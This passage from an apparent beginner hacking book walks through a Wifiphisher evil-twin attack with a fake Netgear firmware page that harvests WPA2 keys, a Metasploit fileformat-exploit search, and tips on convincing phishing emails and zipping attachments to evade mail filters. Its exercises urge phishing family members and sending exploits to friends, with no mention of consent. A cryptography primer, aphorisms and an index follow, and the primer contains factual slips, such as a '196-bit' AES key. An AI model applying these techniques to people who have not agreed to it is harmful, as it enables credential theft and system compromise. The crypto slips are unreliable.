Mand		b0:be:	11	0%	WPA2	3	Unknown
HP-P	et 3510 se	ries 88:51	3 11	0%	WPA2	0	Hewlett Packard
Test		4a:a3:	11	0%	WPA2	Θ	Unknown
Cent		10:13:	11	0%	WPA2	3	Technicolor
NTGR	01	9c:3d:	11	0%	WPA2	0	Netgear
Cent		a0:a3:	11	0%	WPA2	3	Actiontec Electronics
TPTV		38:8b:	11	0%	WPA2	Θ	Unknown
clic	/irus	00:78:	11	0%	WPA2	Θ	Ignition Design Labs
Guin		44:1c:	11	0%	WPA2	2	Unknown
LANi		78:f2:	1	0%	WPA2	0	Pegatron
Cent		54:83:	1	0%	WPA2	0	Unknown
clickherefo	ravirus5	bc:9b:	1	0%	WPA2	3	Unknown

At this point, you need only to select the AP you want to clone. In this case, I selected "click here for a virus5."

Now wifiphisher begins to deauthenticate (kickoff) the users on the selected AP.



When people re-login to the AP, they will be greeted with the screen below. This screen informs them that a firmware upgrade is taking place with their hardware and asks them for their password to continue. How crafty is that?

Hitocas - Socially - Access Reservant - Administration - Status -
N E T G E A R°
Firmware Upgrade
A new version of the Netgear firmware (1.0.12) has been detected and awaiting installation. Please review the following terms and conditions and proceed.
Terms And Conditions:
1. LICENSE.     Subject to the torms and conditions of this Software License Agreement, Nelgear hereby grants you a restricted, limited, non-exclusive, non-transferable, license to use the Nelgear Firmware/Software/Others only in conjunction with Nelgear products. The Nelgear Company does not grant you any license rights in any patent, copyright or other intellectual property rights owned by or licensed.
I Agree With Above Terms And Conditions
WPA2 Pre-Shared Key:

When they enter their password, it appears on the attacker's screen, as seen below!



#### Social Engineering with Metasploit

In addition to these techniques, there are numerous modules in Metasploit that can be used to send malicious links and documents via email. Open the Metasploit console (msfconsole) and search for "fileformat" exploits. This type of exploit usually involve flaws in various applications such as MS Word, Adobe PDF, OpenOffice, and others. There should be about 200 in Metasploit.

```
msf5> search type:exploit fileformat
```

moff >	corch tuna.cunlait filoformat					
IST2 > search type:exploit interiormat						
Matchir	ng Modules					
#	Name	Disclosure Date	Rank	Check	Description	
-						
Θ	exploit/android/fileformat/adobe reader pdf js interface	2014-04-13	good	No	Adobe Reader for Android addJavascriptInterface Exploit	
1	exploit/multi/fileformat/adobe_u3d_meshcont	2009-10-13	good	No	Adobe U3D CLODProgressiveMeshDeclaration Array Overrun	
2	exploit/multi/fileformat/evince_cbt_cmd_injection	2017-07-13	excellent	No	Evince CBT File Command Injection	
3	exploit/multi/fileformat/ghostscript failed restore	2018-08-21	excellent	No	Ghostscript Failed Restore Command Execution	
4	exploit/multi/fileformat/js unpacker eval injection	2015-02-18	excellent	No	Javascript Injection for Eval-based Unpackers	
5	exploit/multi/fileformat/libreoffice macro exec	2018-10-18	normal	No	LibreOffice Macro Code Execution	
6	exploit/multi/fileformat/maple maplet	2010-04-26	excellent	No	Maple Maplet File Creation and Command Execution	
7	exploit/multi/fileformat/nodejs_js_yaml_load_code_exec	2013-06-28	excellent	No	Nodejs js-yaml load() Code Execution	
8	exploit/multi/fileformat/office_word_macro	2012-01-10	excellent	No	Microsoft Office Word Malicious Macro Execution	
9	exploit/multi/fileformat/peazip_command_injection	2009-06-05	excellent	No	PeaZip Zip Processing Command Injection	
10	exploit/multi/fileformat/swagger_param_inject	2016-06-23	excellent	No	JSON Swagger CodeGen Parameter Injector	
11	exploit/unix/fileformat/ghostscript_type_confusion	2017-04-27	excellent	No	Ghostscript Type Confusion Arbitrary Command Execution	
12	exploit/unix/fileformat/imagemagick_delegate	2016-05-03	excellent	No	ImageMagick Delegate Arbitrary Command Execution	
13	exploit/windows/browser/adobe toolbutton	2013-08-08	normal	No	Adobe Reader ToolButton Use After Free	
14	exploit/windows/browser/dell webcam crazytalk	2012-03-19	normal	No	Dell Webcam CrazyTalk ActiveX BackImage Vulnerability	
15	exploit/windows/fileformat/a pdf wav to mp3	2010-08-17	normal	No	A-PDF WAV to MP3 v1.0.0 Buffer Overflow	
16	exploit/windows/fileformat/abbs_amp_lst	2013-06-30	normal	No	ABBS Audio Media Player .LST Buffer Overflow	
17	exploit/windows/fileformat/acdsee fotoslate string	2011-09-12	good	No	ACDSee FotoSlate PLP File id Parameter Overflow	
18	exploit/windows/fileformat/acdsee_xpm	2007-11-23	good	No	ACDSee XPM File Section Buffer Overflow	
19	exploit/windows/fileformat/actfax_import_users_bof	2012-08-28	normal	No	ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow	
20	exploit/windows/fileformat/activepdf_webgrabber	2008-08-26	low	No	activePDF WebGrabber ActiveX Control Buffer Overflow	
21	exploit/windows/fileformat/adobe_collectemailinfo	2008-02-08	good	No	Adobe Collab.collectEmailInfo() Buffer Overflow	
22	exploit/windows/fileformat/adobe_cooltype_sing	2010-09-07	great	No	Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow	
23	exploit/windows/fileformat/adobe_flashplayer_button	2010-10-28	normal	No	Adobe Flash Player "Button" Remote Code Execution	
24	exploit/windows/fileformat/adobe_flashplayer_newfunction	2010-06-04	normal	No	Adobe Flash Player "newfunction" Invalid Pointer Use	
25	exploit/windows/fileformat/adobe_flatedecode_predictor02	2009-10-08	good	No	Adobe FlateDecode Stream Predictor 02 Integer Overflow	

Many of these exploits take advantage of vulnerabilities that have been patched by the developer, but not everyone updates their software.

These involve vulnerabilities in different types of files that—if opened—will give the attacker control of the system (the BlackEnergy3 hack perpetrated against the Ukraine power grid began with one of these).

You can also create a custom payload with msfvenom encrypted with shikata\_ga\_nai and send it to the victim. If you can entice them to open the file, your payload will be launched on their system, and you will own it. The most difficult part of that hack is the enticement part. This will likely involve one of the concepts above of (1) elicitation, (2) pretexting, or (3) influence.

A few things to keep in mind when using Metasploit for social engineering. First, make ceratin that the email sounds convincing and legitimate. Second, use a common file format if you don't know what application the target is using. Third, try zipping your attachments. Most mail services will NOT deliver an executable and will likely flag a fileformat attachment as malicious. By using ZIP, you can bypass some of these restrictions.

#### Summary

Social engineering is often the most overlooked technique by the novice hacker, but some of the most important hacks, by some of the most sophisticated hackers (NSA, GRU, and others) in history have been the result of effective social engineering. Social engineering requires that the attacker study the target to understand their interests, needs, and wants to prepare an effective approach. This research and study often involves open-source intelligence and then combines that with a bit of psychology. Even the most secure organizations are susceptible to social engineering attacks.

#### Exercises

- 1. Practice trying to get a friend to do what you want. Try using each of the concepts (1) elicitation (2) pretexting or (3) influence. Try out different scripts to see what works best.
- 2. Set Up Wifiphisher in your home and see whether you can fool family members, roommates, or friends with the Netgear firmware update.
- 3. Create a fileformat exploit with Metasploit and try sending it to a friend or associate.
- 4. Go to SMS Spoof and try sending a spoofed SMS message to yourself from a friend's phone number.

# Epilogue

Congratulations on having finished this book! You are well on your way to becoming a Master Hacker and a lucrative and rewarding career in cyber security.

The next steps are crucial. You may decide to become a Subscriber (three years of courses for \$500) at Hackers-Arise (<u>www.hackers-arise.com/hackers-arise-subscribers</u>) to study further with me or join one of the many cyber security schools. If you don't become a Subscriber at Hackers-Arise, I can recommend the following training;

- 1. SANS Institute
- 2. Offensive Security
- 3. InfoSec Institute

In addition, look for my upcoming books

- 1. Metasploit Basics for Hackers 2020
- 2. Shodan Basics for Hackers 2020
- 3. More Linux Basics for Hackers 2021
- 4. Python Basics for Hackers -2022
- 5. Becoming a Master Hacker 2 2023
- 6. Becoming a Master Hacker 3 2024
- 7. The History of Hacking and Cybersecurity =-TBA

Best of Luck, my aspiring master hackers!

# **Appendix A** Cryptography Basics for Hackers

As hackers, we are often faced with the hurdle of cryptography and encryption. Every cyber security engineer worth their pocket protector understands that encryption make the hacker/attacker's task much more difficult. In some cases, it may be useful to the hacker to hide actions and messages.

Many applications and protocols use encryption to maintain confidentiality and integrity of data. To be able to crack passwords and encrypted protocols such as SSL and wireless, you need to have at least a basic familiarity with the concepts and terminology of cryptography and encryption.

To many new hackers, all the concepts and terminology of cryptography can be a bit overwhelming and opaque. To start, cryptography is the science and art of hiding messages so that they are confidential, then "unhiding" them so that only the intended recipient can read them. Basically, we can say that cryptography is the science of secret messaging.

With this brief overview for the newcomer, I hope to lift the fog that shrouds this subject and shed a tiny bit of light on cryptography. I intend this simply to be a quick and cursory overview of cryptography for the novice hacker, not a treatise on the algorithms and mathematics of encryption. I'll try to familiarize you with the basic terminology and concepts so that when you read about hashing, wireless cracking, or password cracking and the encryption technologies are mentioned, you have some grasp of what is being addressed.

Don't get me wrong, I don't intend to make you a cryptographer here (that would take years), but simply to help familiarize the beginner with the terms and concepts of cryptography so as to help you become a credible hacker.

I will attempt to use as much plain English to describe these technologies as possible, but like everything in IT, there is a very specialized language for cryptography and encryption. Terms like cipher, plaintext, ciphertext, keyspace, block size, and collisions can make studying cryptography a bit confusing and overwhelming to the beginner. I will use the term "collision," as there really is no other word in plain English that can replace it.

Let's get started by breaking encryption into several categories.

# **Types of Cryptography**

There are several ways to categorize encryption, but for our purposes here, I have broken them down into four main areas (I'm sure cryptographers will disagree with this classification system, but so be it).

- Symmetric Encryption
- Asymmetric Encryption
- Hashes

• Wireless



#### A Word About Key Size

In the world of cryptography, size does matter! In general, the larger the key, the more secure the encryption. This means that AES with a 256-bit key is stronger than AES with an 128-bit key and likely will be more difficult to crack. **Within the same encryption algorithm**, the larger the key, the stronger the encryption.

It does not necessarily mean that larger keys mean stronger encryption between encryption algorithms. Between algorithms, the strength of the encryption is dependent on both the particulars of the algorithm AND the key size.

#### Symmetric Cryptography

Symmetric cryptography is where we have the same key at the sender and receiver. It is the most common form of cryptography. You have a password or "key" that encrypts a message and I have the same password to decrypt the message. Anyone else can't read our message or data.

Symmetric cryptography is very fast, so it is well-suited for bulk storage or streaming applications. The drawback to symmetric cryptography is what is called the key exchange. If both ends need the same key, they need to use a third channel to exchange the key and therein lies the weakness. If there are two people who want to encrypt their communication and they are 12,000 miles apart, how do they exchange the key? This key exchange then is fraught with the all the problems of the confidentiality of the medium they choose, whether it be telephone, mail, email, face-to-face, etc. The key exchange can be intercepted and render the confidentiality of the encryption moot.

Some of the common symmetric algorithms that you should be familiar with are:

• **DES** - This was one of the original and oldest encryption schemes developed by IBM. It was found to be flawed and breakable and was used in the original hashing system of LANMAN hashes in early (pre-2000) Windows systems.

- **3DES** This encryption algorithm was developed in response to the flaws in DES. 3DES applies the DES algorithm three times (hence the name "triple DES") making it slightly more secure than DES.
- AES Advanced Encryption Standard is not a encryption algorithm but rather a standard developed by National Institute for Standards and Technology (NIST). Presently, it is considered the strongest encryption, uses a 128-, 196-, or 256-bit key and is occupied by the Rijndael algorithm since 2001. It's used in WPA2, SSL/TLS, and many other protocols where confidentiality and speed is important.
- **RC4** This is a streaming (it encrypts each bit or byte rather than a block of information) cipher and developed by Ronald Rivest of RSA fame. Used in VoIP and WEP.
- **Blowfish** The first of Bruce Schneier's encryption algorithms. It uses a variable key length and is very secure. It is not patented, so anyone can use it without license.
- **Twofish** A stronger version of Blowfish using a 128- or 256-bit key and was strong contender for AES. Used in Cryptcat and OpenPGP, among other places. It also is in the public domain without a patent.

#### Asymmetric Cryptography

Asymmetric cryptography uses **different keys** on both ends of the communication channel. Asymmetric cryptography is very slow, about 1,000 times slower than symmetric cryptography, so we don't want to use it for bulk encryption or streaming communication. It does, however, solve the key exchange problem. Since we don't need to have the same key on both ends of a communication, we don't have the issue of key exchange.

Asymmetric cryptography is used primarily when we have two entities unknown to each other that want to exchange a **small** bit of information, such as a key or other identifying information, such as a certificate. It is not used for bulk or streaming encryption due to its speed limitations.

Some of common asymmetric encryption schemes you should be familiar with are:

- **Diffie-Hellman** Many people in the field of cryptography regard the Diffie-Hellman key exchange to be the greatest development in cryptography (I would have to agree). Without going deep into the mathematics, Diffie and Hellman developed a way to generate keys without having to exchange the keys, thereby solving the key exchange problem that plagues symmetric key encryption.
- **RSA** Rivest, Shamir, and Adleman is a scheme of asymmetric encryption that uses factorization of very large prime numbers as the relationship between the two keys.
- **PKI** Public key infrastructure is the widely used asymmetric system for exchanging confidential information using a private key and a public key.
- ECC Elliptical curve cryptography is becoming increasing popular in mobile computing as it efficient, requiring less computing power and energy consumption for the same level of security. ECC relies upon the shared relationship of two functions being on the same elliptical curve.

• **PGP** - Pretty Good Privacy uses asymmetric encryption to assure the privacy and integrity of email messages.

#### Hashes

Hashes are one-way encryption. A message or password is encrypted in a way that it cannot be reversed or unencrypted. You might wonder, "What good would it do us to have a something encrypted and then not be able to decrypt it?" Good question!

When the message is encrypted it creates a "hash" that becomes a unique, but indecipherable signature for the underlying message. Each and every message is encrypted in a way that it creates a unique hash. Usually, these hashes are a fixed length (an MD5 hash is always 32 characters). In that way, the attacker can not decipher any information about the underlying message from the length of the hash. Due to this, we don't need to know the original message, we simply need to see whether some text creates the same hash to check its integrity (is unchanged).

This is why hashes can be used to store passwords. The passwords are stored as hashes and then when someone tries to log in, the system hashes the password and checks to see whether the hash generated matches the hash that has been stored. In addition, hashes are useful for integrity checking, for instance, with file downloads or system files.

In the world of encryption and hashing, a "collision" is where two different input texts produce the same hash. In other words, the hash is not unique. This can be an issue when we assume that all the hashes are unique such as in certificate exchanges in SSL. NSA used this property of collisions in the Stuxnet malware to provide it with what appeared to be a legitimate Microsoft certificate. Hash algorithms that produce collisions, as you might guess, are flawed and insecure.

These are the hashes you should be familiar with.

- MD4 This was an early hash by Ron Rivest and has largely been discontinued in use due to collisions.
- MD5 The most widely used hashing system. It's 128-bit and produces a 32-character message digest.
- SHA1- Developed by the NSA, it is more secure than MD5, but not as widely used. It has 160-bit digest which is usually rendered in 40-character hexadecimal. Often used for certificate exchanges in SSL, but because of recently discovered flaws, is being deprecated for that purpose.

#### Wireless Cryptography

Wireless cryptography has been a favorite as so many are trying to crack wireless access points. As you might guess, wireless cryptography is symmetric (for speed), and as with all symmetric cryptography, key exchange is critical.

• WEP - This was the original encryption scheme for wireless and was quickly discovered to be flawed. It used RC4, but because of the small key size (24-bit), it repeated the IV about every 5,000 packets enabling easy cracking on a busy network using statistical attacks.

- **WPA** This was a quick fix for the flaws of WEP, adding a larger key and TKIP to make it slightly more difficult to crack.
- **WPA2-PSK** This was the first of the more secure wireless encryption schemes. It uses a pre-shared key (PSK) and AES. It then salts the hashes with the AP name or SSID. The hash is exchanged at authentication in a four-way handshake between the client and AP.
- **WPA2-Enterprise** This wireless encryption is the most secure. It uses a 128-bit key, AES, and a remote authentication server (RADIUS).

# Appendix B Cyber Warrior Wisdom of Master OTW

Hacking is the new martial art of the 21st century! To become a master hacker, you must think strategically and analytically. Master OTW offers some of his strategic wisdom for the novice hacker that every hacker should be armed with before doing battle.

- 1. Fools talk. The wise listen.
- 2. Hacking is a process; not a technology or collection of tools.
- 3. If a service is free, you are not the customer; you are the product.
- 4. Only the fool goes to battle without adequate reconnaissance of their enemy.
- 5. "Listen" closely and intently to your enemy, they will tell you everything you need to know to defeat them.
- 6. If you believe in nothing, you can be led to believe anything.
- 7. Every adversary--no matter how strong and powerful--always has a weakness. Find the weakness and exploit it.
- 8. Humility is a virtue and strengthens the warrior; hubris is an evil and weakens the warrior.
- 9. A great offense might win the battle, but a great defense wins the war.
- 10. Turn the power and strength of your opponent against them.

- 11. The battle often does NOT go the strongest, but rather to the most persistent.
- 12. There is ALWAYS opportunity in chaos.
- 13. Avoid your adversary's strength and attack their weaknesses.
- 14. Never become predictable.
- 15. When faced with an adversary of overwhelming power and strength, do not face them head-on. Strike only when you have the element of surprise.
- 16. Understanding human psychology, motivation, and behavior are one of the hacker's most important tools.
- 17. A series of persistent, small wins will defeat your opponent.
- 18. Create confusion and dissension within the ranks of your opponent.
- 19. At times, it can be advantageous to retreat to lure your opponent into a vunerable and indefensible position.
- 20. Never confuse kindness for weakness.

331 | Page

Index

### A

Active Reconnaissance, vi, 30, 77-78, 86, 98 AES, 257, 323–24, 326 Aircrack-ng, 24, 184, 258, 261, 268, 273 Aireplay-ng, 264-65, 271, 273 Airodump-ng, 262, 264-65, 267, 277 Anti-Virus (AV), vi, 22, 170, 190, 233-35, 239, 243, 280 AP (Access Point), 256–58, 260–71, 273–75, 277–79, 316–17, 326 Apache Tika, 163–64 Apache webserver, 179-80 AR (Authentication Request), 275 Assange, 5 Julian, 5, 12 Asymmetric Cryptography, 324 At0, 269-70 Attacking WordPress Websites, 222 Attacks brute-force, 25, 30, 120 dictionary, 25-26, 68, 136 Authentication Request (AR), 275 Auxiliary/scanner/portscan/tcp, 156 AV. See Anti-Virus AV applications, 234–35, 242, 245 AV detection, 233–34 AV software, 234-35, 243

# B

Banners, 26, 30, 60–61, 63–64, 290–91, 296, 298, 304 Bash, 253, 294 Bash command history, 246 BASH scripts, 274, 283 Beef, 26, 310–13 Berkeley Packet Filter (BPF), 179 BPF (Berkeley Packet Filter), 179 Browser Exploitation Framework, 310 Brute force attacks, 120, 141 BSSID, 256, 261–62, 264–65, 273, 277 Buffer overflows, 31, 192, 194 Bug bounty hunting, 3 BuiltWith, 95–97 BuiltWith to Scan for Website Technologies, 95 BurpSuite, 24

С

CERT (Computer Emergency Response Team), 9 Cewl, 126-28, 134, 141, 266 Chmod, 236, 285, 291–92 Cisco routers, 60, 64–66 CMSs (content management systems), 92, 94, 110, 222 Code, block of, 289, 295, 298-99 Collisions, 322, 325 Command history, 247, 251-53 Command line, 19, 73, 110, 137, 218, 248 Computer Emergency Response Team (CERT), 9 Conficker Worm, 9, 29 Connect, 192, 197, 209, 211, 255, 261-63, 268, 270-71, 274, 291, 293, 296-97, 300 Content management systems. See CMSs Control Statements, 293–94 Control structure, 293–94 Copyrighted material, 8, 16 Cracking tools, 24-26, 121, 155 Creating password crackers, 293 Cross-site request forgery, 213–14 Crunch, 126, 128-31, 134, 141, 266 Cryptography, 22, 257, 322–24 symmetric, 323-25

#### D

Database Management Systems. See DBMS DBMS (Database Management Systems), 21, 214, 220 DDoS attacks, 8-9 Dead Cow, 6-7 Deauth, 264-65, 271, 273 Deauthenticate, 315, 317 Deauth frames, 265, 273–74 Debian, 34, 38, 102 Denial of Service, 14, 78, 273 Digital Forensics and Network Forensics, 21 Digital Millennium Copyright Act (DMCA), 8, 16 DMCA (Digital Millennium Copyright Act), 8, 16 DNS, 19, 30, 49, 66, 70, 76, 177, 185 Dnsenum, 68–69 Dnsenum.pl, 68-69 DNS information gathering tools, 68 DNS server, 67-68, 70 Download and install OWASP-ZSC, 236, 245 Download Kali Linux, 35 Dropbox, 191, 281

Elcomsoft, 8, 16 Elicitation, 307, 319-20 Elif, 295 Encode, 235-36, 242-43, 245 Encryption algorithms, 20, 323–24 End User License Agreement (EULA), 111 EternalBlue, 13, 29, 31, 99–101, 154, 157–59, 190–91, 233, 235, 300–301, 305 EternalBlue attack packet-by-packet, 196 EternalBlue nmap Vulnerability Scanner, 100 EternalBlue vulnerability, 99-100, 108, 175, 190 EternalBlue vulnerability scanner, 100 EternalBlue works, 190 Eth0, 73-74, 183, 268-69 Evading Windows Defender, 234 Evil Twin, 24, 268, 271, 273 Evil Twin AP, 268-69 Evil twin attack, 268, 279 Executable Formats, 169 Extract password hashes, 210

# F

False Negative, 100 FBI (Federal Bureau of Investigation), 6–8, 14, 177 Federal Bureau of Investigation. *See* FBI Fingerprinting, 29, 71, 85 passive operating system, 71 Firewalls, 20, 30, 77–78, 87–88, 90, 280 Fragments, 72, 88, 90 FTP server, 296, 298–300

# G

Git clone https, 131, 236, 275–76 Google, 3, 9, 30, 49–50, 60, 76, 218, 223 Google dorks, 53–54, 223–24 Google Hacking, 49–50, 54, 60, 223, 309 Google Hacks, 52, 76, 226 GPU (graphical processor unit), 26, 134 GRUB bootloader, 43

# H

Hacker Process, vi, 28 Hacking Team, 12 Hacking tools, 17, 23, 27, 34, 281 Hacking WordPress sites, 225 Hammond, Jeremy, 11 Hardware keyloggers, 204 Hashcat, 25–26, 134–36, 138, 203, 263, 266, 274–75, 278–79 Hashes, 25, 31, 118–20, 123–24, 136–37, 202–3, 207, 211, 263–66, 274–75, 278, 322, 325–26 HBGary, 228–29 Hcxdumptool, 275–78 History command, 252–54 History of hacking, 2, 4–6, 14, 16, 206 History of Hacking and Cybersecurity, 321 Hping, 30, 86–92, 97 Hping3, 86–87, 91

# I

IDEs, 283 IEEE (Institute of Electrical and Electronics Engineers), 256–57, 279 Ifconfig, 80, 145, 161, 163, 258, 270 IIS (Internet Information Server), 214 Information, banner, 26, 63, 290–91 Information security engineers, 4, 196 Installing Kali, 39, 41 Institute of Electrical and Electronics Engineers. *See* IEEE IP (intellectual property), 16, 26, 64–66, 80, 84, 89, 100–101, 106, 147, 161, 208 IP address, 56–57, 64, 66, 68, 80, 179, 185–86, 190, 192, 196, 290–91, 297, 299–300 IP header, 72, 88 Iwlist, 259

#### J

Javascript, 242–43 John, 25–26, 122–25, 128, 137–38, 141 John passwordhashes, 124 Jsfuck, 242–43

# K

Kali Linux, 27, 34–37, 44, 58, 66, 141, 161, 281 Kali repository, 236, 281, 310, 315 Kali system in Metasploit, 173 Keylogger, 197, 204–5 Keyscan, 205–6 Known vulnerabilities, 25, 31, 92, 99, 101, 214, 226 databases of, 26, 99

### L

Legitimate AP, 271, 273 LHOST, 147, 161, 171–73 Linux Skills, 4, 19–20 Listener, 31, 144, 172–73, 295 Log files, 32, 246–47, 254 Loops, 274, 289, 292, 295–97, 302–3

#### LPORT, 147, 171–73

## Μ

MAC address, 256, 260-62, 266, 268-69 Malicious payloads, 173–74, 245 Medusa, 138-40 Metasploit, 24, 31-32, 142-47, 149-51, 154-58, 161, 163-67, 169, 172-75, 198-99, 210-11, 233-34, 318, 320 auxiliary modules in, 155 Metasploitable, 34, 44, 80, 291, 297 Metasploit Basics for Hackers, 321 Metasploit commands, 150 Metasploit commands and post-exploitation modules, 210 Metasploit Directory Structure, 150, 154 Metasploit for social engineering, 174, 319 Metasploit framework, 24, 154, 167 Metasploit payload, 167 Metasploit port scanning module, 157 Meterpreter, 161–63, 166–67, 172, 199–209, 211, 247, 249–50, 254 Meterpreter payload, 173, 175 Mimikatz, 141, 207-8 MiTM attacks, 91, 177 Modules, 24, 139–40, 144, 146–50, 152, 154–58, 163–64, 166, 234, 281, 290–91 auxiliary, 144, 155, 157-58 new, 164, 166, 234 Msf5, 145, 147-50, 155-61, 166, 172-73, 198, 318 Msfconsole, 143-45, 149, 151, 155-56, 173, 318 Msfvenom, 166-68, 170-71, 173-75, 234, 319 Mysql, 21, 46, 78, 140, 209–10, 214, 220, 222, 298 MySOL database, 140, 209, 211

# N

Nameserver, 58, 66–67, 69, 71, 76 National Security Agency. *See* NSA Nessus, 26, 99, 101–5, 107, 109–10, 143 Netcraft, 30, 49, 54, 57, 76, 94–95 Network Basics for Hackers, 20 Network interface card (NICs), 177 Network intrusion detection system (NIDS), 25 NICs (network interface card), 177 NIDS (network intrusion detection system), 25 Nmap, 23, 30, 78–89, 92, 100, 143, 156 Nmap commands, 80–81, 86 NSA (National Security Agency), 2–3, 10, 13, 108, 190–91, 307, 319, 325 NSA's EternalBlue, v, 13, 76, 177, 190, 201

# 0

Obfuscate, 235–36, 242, 245 Obfuscation, 242–43, 245 Occupytheweb, iii, v, 284–85 Ollydbg, 26–27 Online password, 120, 138 Open ports, 23, 77, 84–85, 155, 295 scan for, 84, 175 Open Source Intelligence. *See* OSINT Open Web App Security Project. *See* OWASP OSINT (Open Source Intelligence), 30, 49, 76, 309 OTW, vi, 137, 216–17 OWASP (Open Web App Security Project), 110, 214, 218, 235 OWASP ZAP, 110–11, 114 OWASP-ZAP, 25, 111, 218–19, 235 OWASP-ZSC, 235–41, 243, 245

# P

Passive reconnaissance, vi, 30, 48–49, 77 Password crackers, 6, 134, 203, 298 command-line, 138 excellent Unix/Linux, 122 fastest open source, 26 Password Cracking, vi, 30, 138 Password-cracking tools, 120, 209 Password hashes, 26, 31, 118, 122–23, 136–38, 207, 247, 263, 274–75 Password list custom, 126, 130, 141 potential, 120, 131 Passwords, 30–31, 44, 117–26, 128, 134, 136–41, 176–77, 182, 209, 213, 215–17, 224, 256, 263, 296, 298–300, 315, 317–18, 322–23, 325 cracking, 117-18, 120, 122 offline, 120, 138 Payloads, 24, 31, 144-47, 149, 160-61, 166-73, 186-87, 192, 194, 197-98, 233-35 Personally identifiable information (PII), 10, 32 PIN, 266–67, 279 PlayStation Network, 10 PMK (pairwise master key), 258, 275 PMKID, 275-79 PMKID Attack, 274 Ports, 58, 61, 63–66, 71, 77–78, 80–86, 89–90, 92, 97–98, 149, 180–82, 186, 290–93, 295–96, 298 Post-exploitation, vi, 24, 32, 143-44, 201, 209-10 Post-exploitation modules, 198-99, 210-11 Potential passwords, 119-20, 128, 133, 230, 299 Pretexting, 308, 319-20

Probes, 26, 30, 71, 92, 94, 99, 274, 276 Programming, object-oriented, 281–82 Programming languages, 281, 284, 287–89, 294 PSK (pre-shared key), 256–58, 277, 326 PyCharm, 283, 287, 301 Python, v, 21, 281–91, 293–94, 296, 298, 300, 304 Python3, 281, 285 Python interpreter, 287–88, 292, 294, 302 Python Modules, 281 Python scripts, 92, 281, 283, 295, 300–301

# R

RAM, 34, 38, 141, 207–8 Ransomware, 3, 13, 99, 107 Rapid7, 143, 149, 155, 164, 234 RCE (remote code execution), 107, 190 Reaver, 267–68, 279 Remote code execution (RCE), 107, 190 Remote Password Cracking, 26, 138 Rules passwordhashes, 125, 128 Russia, 2, 4, 8–9, 13 Russian hackers, 4, 13, 190

# S

Scripting, cross-site, 214, 227–28 Search Shodan, 63-65 Server Message Block. See SMB Set, 32, 34, 42, 72, 74, 88–89, 91–92, 147–49, 157, 160–61, 308–10, 316, 320 SET command, 147, 149, 161 Set PAYLOAD windows/meterpreter/reverse, 173 Set RHOSTS, 157, 159, 161 Shellcode, 143, 193, 233, 235–36, 238–39, 241–43, 245 new, 235, 243 Shellcode database, 238, 245 Shikata, 170-71, 319 Shodan, 26, 30, 49, 60-63, 65-66, 76, 290 SMB (Server Message Block), 13, 26, 77, 82–83, 86, 89, 153, 190–92, 235, 304 SMB packets, 192 Social engineering attack, 52, 279, 307, 309, 319 Social Engineering Tools, 309 Spyaudio.wav, 206-7 SOL, 214–17 SQLi. See SQL injection SQL Injection, 21, 51, 213–14, 217–19, 231–32 SQL injection (SQLi), 21, 25, 51, 213–15, 217–19, 231–32 Sqlmap, 25, 213, 218–22, 281

SSID, 256, 258, 261, 268, 326 Swartz, 10–11 Aaron, 10–11 Sysinternals, 24–25

#### Т

TCP connection, 291 Tcpdump, 20, 177–82, 196 TCP flags, 72, 74, 88, 156, 181 TCP Listener, 291 TCP ports, 78, 82, 84, 86, 181 TCP scan, 80, 82, 85, 156 THC-Hydra, 26, 66 Timestamps, 91, 247, 249–50 Timestomp, 249–50 TJX, 8–9 Transform Formats, 169 TTL, 72

# U

UDP, 78, 81–82, 87, 185 UDP ports, 81, 86 UDP scans, 82 Unsecured wireless network, 8–9 USC Title, 15–16 Uxiliary/scanner/portscan, 156

# V

VirtualBox, 20, 34, 36–37, 41 Virtual Machine (VM), 34, 36–39, 42, 183 Virtual machines, 36–38, 42 VirusTotal, 243–45 VM. *See* Virtual Machine Vulnerabilities, 7, 9, 84–85, 98–101, 107–8, 110, 114, 143, 146, 148, 190, 193, 227–28, 230–32, 319 critical, 107–8 Vulnerability scan, 16, 92, 105, 107, 109, 157, 175 Vulnerability scanners, 99–101, 116, 143, 157–58, 225

### W

WAF (Web Application Firewall), 94 Web Application Firewall (WAF), 94 Webcam, 32, 60, 197, 203–4, 206, 210, 310, 313 Webcam Commands, 200, 313 Web Hacking, vi, 138, 212–14, 231 Webscantest, 220–22 Websites, scanning, 92–94 Web technologies, 92, 213 WEP, 20, 256-57, 263, 324-26 Wevtutil, 248, 254 Whatweb, 92–95 Wi-Fi, 20, 255-58, 260, 279 Wi-Fi Adapters, 258, 265, 268 Wi-Fi AP, 256-57, 259, 261-62, 266, 277 Wifiphisher, 279, 315-17, 320 WikiLeaks, 5, 8, 11–13 Window size, 72 Windows meterpreters, 171, 247 Windows Password Hashes, 137 Windows post-exploitation modules in Metasploit, 211 Wireless adapter, 183, 276 Wireless network card, 264, 279 Wireless network interfaces, 257, 259 Wireshark, 20, 24, 177, 182–84, 188–92, 195–96, 271–72 Wlan0mon, 261, 264-69, 271, 273, 276-77 Wordlists, 120-22, 125, 127-28, 130-31, 136-38, 263 Wordpress, 54, 94–95, 222–23, 225–26, 229, 231 Wordpress sites, 213, 223–27, 230, 232 WordPress Sites Hacked, 225 WordPress websites, 54, 222 WPA, 20, 257, 326 WPA2, 20, 256-58, 263, 324 WPA2-PSK, 263, 274, 326 WPA2-PSK brute force password attack, 274 WPS, 20, 266-67, 279 Wpscan, 225-27, 229-31, 281 Www.cybrary.it, 94, 229, 231 Www.hackers-arise.com, iii, 4, 20, 127-28 Www.hackers-arise.com/database-hacking, 21, 25 Www.hackers-arise.com/hacking-bluetooth, 256 Www.hackers-arise.com/osint, 30, 49, 309 Www.hackers-arise.com/password-lists, 121 Www.hackers-arise.com/passwords-list, 125 Www.hackers-arise.com/scada-hacking, 17 Www.hackers-arise.com/scripting, 21 Www.hackers-arise.com/web-app-hacking, 21, 114 Www.hackers-arise/scada-hacking, 2 Www.networksolutions.com, 59 Www.packetstormsecurity.com, 227–28

**341 |** Page

